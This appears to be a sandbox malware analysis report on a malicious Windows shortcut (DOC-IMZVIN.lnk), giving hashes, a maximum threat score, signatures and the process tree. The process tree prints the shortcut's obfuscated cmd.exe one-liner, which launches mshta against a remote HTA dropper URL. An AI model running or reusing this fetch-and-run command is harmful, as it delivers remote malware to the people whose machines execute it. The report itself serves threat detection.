Analysis
- max time kernel
58s - max time network
24s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/08/2026, 04:18
Static task
static1
Behavioral task
behavioral1
Sample
DOC-IMZVIN.lnk
Resource
win10v2004-20260513-en
4 signatures
60 seconds
Behavioral task
behavioral2
Sample
DOC-IMZVIN.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
60 seconds
General
- Target DOC-IMZVIN.lnk
- Size 1KB
- Sample260818-excfdadr8x
- SHA256 72567fdca52138b6da481035f4b1fe336f0ebaf5858423cc70c8d21c2bbf9145
- MD5 c2be67cadc8cb4752d869e773d286c64
- SHA1 a11763a2ae63e6a94f4e735734336bdb0f1cd79e
- SHA512 c086828f69ef5280deb86c0b6a030aef94c426d8716c77c91c46ff40997fac6c757b39d84940bcfae492aab8052f5494bbca1a4fcab04f6e1e94bd6131df0a5f
- TLSH T1CA314C503FFD0618F3B39F76847B571499BBB8958D21C61D0140454D6032A05E5BAF6B
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4104 cmd.exe 2868 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2868 wrote to memory of 4104 2868 cmd.exe 90 PID 4104 wrote to memory of 4108 4104 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-IMZVIN.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /C "set gZv=msh&&set VOrz=ta&&start "" !gZv!!VOrz! https://documentacion.lat/h/estagio1.php?r=3F1477F15398D1"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4104 -
C:\Windows\System32\mshta.exemshta https://documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4108
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